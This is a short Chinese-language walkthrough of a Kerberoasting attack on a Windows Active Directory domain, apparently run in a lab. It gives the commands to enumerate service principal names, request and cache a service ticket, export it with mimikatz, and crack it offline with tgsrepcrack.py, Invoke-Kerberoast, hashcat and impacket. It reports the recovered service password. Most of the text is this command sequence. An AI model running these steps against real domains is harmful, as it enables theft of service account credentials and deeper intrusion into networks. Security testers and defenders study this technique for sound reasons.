在KRB——TGS——REP中,TGS_会返回给Client一张票据ST,而ST是由Client请求的Server端密码进行加密的。当Kerberos协议设置票据为RC4加密时,我们就可以通过爆破再Client端获取的票据ST,从而获得Server端的密码。kerberos的加密方式可以通过,在域控服务器的“本地安全策略”中进行修改
运行 —》 secpol.msc —》 安全设置 —》 本地策略 —》 安全选项 —》 网络安全:配置Kerberos 运行的加密类型
https://github.com/nidem/kerberoast
kerberosting攻击方式
那么Kerberoasting思路如下:
- 查询SPN寻找在Users下并且是高权限域用户的服务
- 请求并导出TGS
- 获取到TGS进行暴力
在域内主机n001中通过 Kerberoast 中的 GetUserSPNs.vbs 进行 SPN 扫描。
cscript GetUserSPNs.vbs
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “MSSQLSvc/web.ninitom.cn:1433”
查看缓存的票据
klist
这时候可以看到已经缓存内存重了,我们可以通过mimikatz导出,
这时候需要注意,如果是运行时候不是管理员在运行mimikatz不需要debug
python38.exe .\tgsrepcrack.py .\password.txt “1-40810000-n001@MSSQLSvc~web.ninitom.cn~1433-NINITOM.CN.kirbi”
获取到web的密码为Admin@123
攻击方式2
使用 Invoke-Kerberoast 脚本 (这里使用的是 Empire 中的 Invoke-Kerberoast.ps1)。
Import-module Invoke-Kerberoast.ps1
Invoke-kerberoast -outputformat hashcat |fl
hashcat64.exe –m 13100 test1.txt password.list —force
https://github.com/SecureAuthCorp/impacket
python GetUserSPNs.py -request -dc-ip x.x.x.x 域名称/域用户